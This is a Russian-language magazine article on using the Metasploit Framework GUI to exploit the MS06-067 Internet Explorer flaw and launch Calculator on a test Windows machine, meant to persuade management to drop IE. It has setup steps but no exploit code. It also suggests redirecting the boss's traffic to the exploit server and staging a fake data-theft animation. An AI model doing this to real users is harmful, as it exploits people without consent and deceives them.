Учиться никогда не поздно, а учить других – приятное занятие... Из этой статьи вы сможете узнать о том, как просто и наглядно можно продемонстрировать работу большинства уязвимостей с помощью Metasploit Framework.

Всё что ни случается в жизни – к лучшему... В одно субботнее утро мне пришлось отважно поработать. Согласитесь, не самое приятное занятие, особенно в свой выходной день. Нона ситуацию можно посмотреть и с другой стороны.

Через несколько часов утренней работы, когда я освободился и пребывал в состоянии сна на ходу, меня уже не тянуло домой. Я плыл по коридору, где стояла убаюкивающая тишина по сравнению с шумными буднями. Не помню как, наверное, сработало любопытство, услышав издалека характерные непрекращающиеся звуки быстрого нажатия клавиш на клавиатуре, я на автопилоте изменил курс и пришвартовался в соседнем отделе.

Люблю наблюдать за увлечённо работающими людьми. Оказалось, мой тёзка и коллега сидит за двумя своими мониторами и что-то решает. Я мягко приземлился в одно изпустующих кресел, включил чайник и стал ждать.

Пашок вернулся к жизни и заметил меня лишь только когда чайник закипел и громко щёлкнул своим термовыключателем на всю комнату. Видимо, сработало то, что чайник он неставил.

Увидев меня, он быстро заварил себе кофе, сел обратно на своё место и явно обрадовался тому, что сможет излить мне свою душу во время чаепития и найти понимание. Так и оказалось. Он решал одну интересную задачу, которую ему поставил шеф, с микроконтроллерами, при этом думая и о другом задании, на которое времени не хватало.

Второе задание было более интересным, чем первое, я постараюсь описать его вам, а далее предложить придуманное нами решение.

Закрытый код – враг народа?

Не секрет, что технический отдел с его руководством косо посматривают на тех, кто использует программы с закрытым кодом, к тому же содержащие много уязвимостей. Когда руководство компании понимает проблему, это хорошо. Техническому отделу дается зелёный свет, и вся организация переходит на более правильные и безопасные для фирмы решения.

Но бывают и другие случаи, когда руководство, опираясь на мнение друзей и знакомых, делает вид, что разбирается, а на самом деле это не так.

Например, не все оценивают преимущества новых версий Linux, OpenOffice или браузера Mozilla Firefox (по сравнению с их закрытыми и не всегда стабильно работающими аналогами: Windows, MSOffice или IE).

Люди инертны, привыкли к чему-то и менять ничего не хотят. Рыба гниёт с головы – бывают случаи, когда руководство не допускает технический отдел к своим компьютерам (особенно ноутбукам), являясь не только источником нарушений безопасности, но и первой целью для происков конкурентов.

Цель задания состояла в том, чтобы вернуть авторитет техническому отделу, прочитать ознакомительную лекцию для персонала и провести в жизнь решения по установке ипереходу на более безопасные Open Source аналоги, мотивируя это не своим желанием, а приказом руководства, стоящего над техническим отделом.

Задача, кажется, ясна, если у вас есть многолетний опыт, наверняка вы смогли в ней увидеть что-то пересекающееся из своей жизни или похожее. Давайте рассмотрим случай решения, когда хитрость идёт на пользу общему делу. Если у вас есть более интересные решения – пишите на форум журнала, обсудим!

Решение

Как действовать? Так как Глобальной сетью пользуются практически все, а она представляет немалую угрозу любому подразделению, то поставим цель – отучить пользователей использовать IE.

Если обратиться к классике, то существует не так много различных подходов к решению проблем :

  • если сделать проверку на используемый браузер и отключить обращения IE в сеть на прокси-сервере, то это будет не самое лучшее решение, а администратора можно будет классифицировать как «маньяка»;
  • если удалить всем пользователям IE, то это будет администратор-«идиот», и проблема также не решится;
  • если пытаться пакостить пользователям, запускающим IE, это будет администратор-«фашист» – успеха он тоже не добьётся, так как будет все силы тратить на борьбу со следствием.

Наиболее правильно – это пойти на хитрость и бороться с причиной. Представьте, если все пользователи осознанно откажутся от какого-то решения, то какой будет смысл в мире бизнеса производителю продвигать это решение?

Наиболее удачно для нашей задумки подходит тип администратора «технический бандит».

Мы изучим различные нюансы работы браузеров и существующие в них уязвимости, поставим специальные программы, демонстрирующие скрытые возможности, возникающие из-за ошибок, и тем самым заставим руководство принять правильное решение.

Проверь систему на уязвимость

Очевиден факт, что в любой большой программе есть ошибки. Это практически все понимают, и начальство в том числе. Поэтому для проверки сетей и отдельных хостов давно придумали различные сканеры. Но не все понимают специфику их работы.

Если Nessus, Shadow Security Scanner, nmap, XSpider и другие в какой-то мере удобны и успели себя хорошо зарекомендовать, то опираться на их результаты следует с пониманием происходящего.

Например, как быть со случаем, когда исполнение какого-либо кода (содержащего уязвимость) происходит со стороны пользователя, а не инициируется внешним сканером? Несекрет, что многие, просканировав свой компьютер (или сервер) и не обнаружив открытых портов и уязвимых сервисов, ошибочно думают, что их системы в полном порядке.

Мы попытаемся доказать эту ошибку на примере браузера IE с помощью программы Metasploit Framework.

План действий. Немного теории

Получая различные рассылки по вопросам безопасности или посещая сайты по подобной тематике, периодически встречаешь информацию о различных уязвимостях. Такая-то уязвимость позволяет передать клиенту и выполнить на его стороне какой-либо код, такая-то просто завершает приложение.

В теории получается следующее: вы заходите на сайт XXX, а у вас вместо этого открывается окно терминала, где запускается команда «format с:».

Пример утрирован, но, если вам в это сложно поверить, к концу статьи вы сможете провести аналогичный эксперимент у себя.

The Metasploit Project

Это проект , созданный фирмой Metasploit LLC, содержащий полезную информацию для людей, занимающихся пополнением баз данных для СОА (систем обнаружения атак), а также исследованием уязвимостей и того, как они работают.

Цель ресурса – собрать различную информацию об известных эксплоитах и уязвимостях вместе с реализующими их кодами, чтобы эта информация была доступна администраторам безопасности и разработчикам.

На сайте содержится несколько разделов, содержащих полезную информацию.

Нам понадобится раздел Framework (см. рис. 1), посвящённый платформе, на которой можно реализовать наш план.

Ищем Download внизу и скачиваем framework-3.2.tar.gz.

Установка Metasploit Framework

Ранее программа была доступна только через CLI (интерфейс командной строки), в связи с чем была известна только в узких кругах.

Недавно появилась поддержка GUI (графического интерфейса), что сделало программу более привлекательной для менее опытных пользователей (особенно наличие версии программы под Windows). Хорошо это или плохо, сказать сложно. Мы выберем версию под Linux и GUI-интерфейс.

В качестве операционной системы взята недавно вышедшая Fedora 10. Конечно, она не без проблем. Скорее всего, через полгода – год мелкие проблемы будут решены, и она станет рабочей платформой для многих администраторов, а пока она очень подходит для наших экспериментов. Если взять более ранние версии (Fedora 8, 9), то принципиальных различий в установке быть не должно.

Для работы графического интерфейса необходима установка языка Ruby и библиотек:

  • ruby-1.8.6.287-2.fc10.i386.rpm;
  • ruby-libs-1.8.6.287-2.fc10.i386.rpm;
  • ruby-gtk2-0.18.0-2.fc10.i386.rpm;
  • ruby-libglade2-0.18.0-2.fc10.i386.rpm;
  • ruby-atk-0.18.0-2.fc10.i386.rpm;
  • ruby-cairo-1.8.0-1.fc10.i386.rpm;
  • ruby-gdkpixbuf2-0.18.0-2.fc10.i386.rpm;
  • ruby-glib2-0.18.0-2.fc10.i386.rpm;
  • ruby-gnome2-0.18.0-2.fc10.i386.rpm;
  • ruby-gnomecanvas2-0.18.0-2.fc10.i386.rpm;
  • ruby-libart2-0.18.0-2.fc10.i386.rpm;
  • ruby-pango-0.18.0-2.fc10.i386.rpm.

Сделать это можно либо вручную через команды:

rpm -ihv *.rpm

либо через:

yum install ...

тогда достаточно указать лишь первые четыре пакета, все остальные будут определены как зависимые и установятся сами.

Следующим этапом надо распаковать скачанный архив framework-3.2.tar.gz в какую-либо директорию, зайти в неё и с правами администратора запустить файл msfgui.

Права администратора (root) нужны для того, чтобы программа могла открывать сокеты на прослушивание на любом порту (например, на 80-м, протокол TCP).

Запуск программы

Теперь, выбирая уязвимости (в базе Metasploit Framework их немало), мы можем попытаться реализовать сервер, который сформирует код, который будет передан клиенту, для выполнения на его стороне. А далее выполним проверку клиента на уязвимость. В качестве уязвимой машины была выбрана первая находившаяся под рукой, а именно с Windows 2003 и IE 6.0 (cм. рис. 5). Кстати, некоторые администраторы, не утруждая себя, часто ищут что-то в Сети по интересующим их вопросам прямо из консоли сервера, при этом ставить альтернативные браузеры они не собираются, мотивируя это тем, что подобные выходы в Интернет «на коленке из серверной» у них редки. Замечу, чтобы скомпрометировать сервер, достаточно одного случая!


А далее ситуация проста: главная задача – заманить жертву или всезнающего шефа на наш компьютер. В Интернете подобное решается социальным способом, то есть обходным путём. Например, с помощью размещения различных баннеров либо переадресацией с помощью popup-окошек с уже заражённых сайтов. Такое часто встречается на сомнительных сайтах (бесплатное скачивание коммерческих программ, порносайты и пр.), предлагающих кликнуть на какой-нибудь баннер.

В локальной сети, будучи её администраторами, мы можем завернуть обращение на шлюзе куда нам надо, а после показать шефу, что любой вполне безобидный сайт может творить чудеса с его компьютером (запускать другие приложения, копировать его документы и пр.), при условии что у него даже может быть запущен антивирус.

Конечно, всё это многообразие действий зависит от вашей фантазии, а цель статьи лишь показать направление и что такое возможно. Поэтому мы ограничимся лишь одной уязвимостью в качестве примера и запустим какую-нибудь безобидную программу на компьютере жертвы, например «Калькулятор». Не секрет, что для написания статьи, чтобы никого не обманывать, в течение получаса пришлось перебирать уязвимости, чтобы найти работающую в данной конфигурации.

В качестве уязвимости была выбрана описанная в Microsoft Security Bulletin MS06-067 – выбираем эту уязвимость в базе программы (см. рис. 6).

Прописываем порт 8081 и команду для запуска на машине с уязвимым бараузером «c:\windows\system32\calc.exe» (см. рис. 8).

Замечание: если вы хотите прописать 80-й порт, а у вас работает httpd-сервер, то не забудьте его остановить, например, командой:

# service httpd stop

или:

# /etc/rc.d/init.d/httpd stop

иначе непонятно, какая из двух программ должна прослушивать порт на входящие соединения. С этой целью в примере взят порт 8081, который заведомо будет свободен.

После подтверждаем настройки (см. рис. 9) и в списке висящих заданий (jobs) у нас появляется новая задача (см. рис. 10).

Окно машины жертвы (см. рис. 11).

Заключение

Конечно, данный пример тривиален, и для того чтобы поразить окружающих или вашего шефа, лучше его модифицировать, учитывая специфику. Мы так устроены, что какое-либо действие (изменения) привлекают нас больше, поэтому для людей, не очень понимающих, как осуществляется переполнение буфера, лучше вместо калькулятора запустить архиватор с ключами, чтобы в окошке была анимация, например «бежало» число процентов сжатых файлов из папки «Мои документы\конфиденциально». Тогда и сказать, что этот сайт нацелен на сбор информации с компьютера вашего шефа, будет проще и ваши аргументы будут весомее. Раз сайт запустил архиватор, а не какой-нибудь калькулятор, то проблема намного серьёзнее. Хотя надеюсь, что большинство читателей, читая эти строчки, улыбнутся лишний раз.

Также эту статью и пример можно использовать в образовательных целях. Чем не пособие для преподавателей на курсах по безопасности или в вузах по проведению демонстраций или лабораторных работ? Выполнять такую лабораторную работу студентам будет куда интереснее, чем обсчитывать не всегда понятные результаты.

Если вы задумались, а не пора ли вам обновить/сменить систему или бразуер, то значит, вы на верном пути!

  1. Робачевский А. М. Операционная система UNIX. – СПб.: БХВ-Петербург, 2002, ISBN 5-8206-0030-4.
  2. Сайт проекта The Metasploit Project, содержащего информацию и эксплоиты по различным уязвимостям, – http://metasploit.com .
  3. Уязвимость Microsoft Security Bulletin MS06-067 – http://www.microsoft.com/technet/security/Bulletin/MS06-067.mspx .

Вконтакте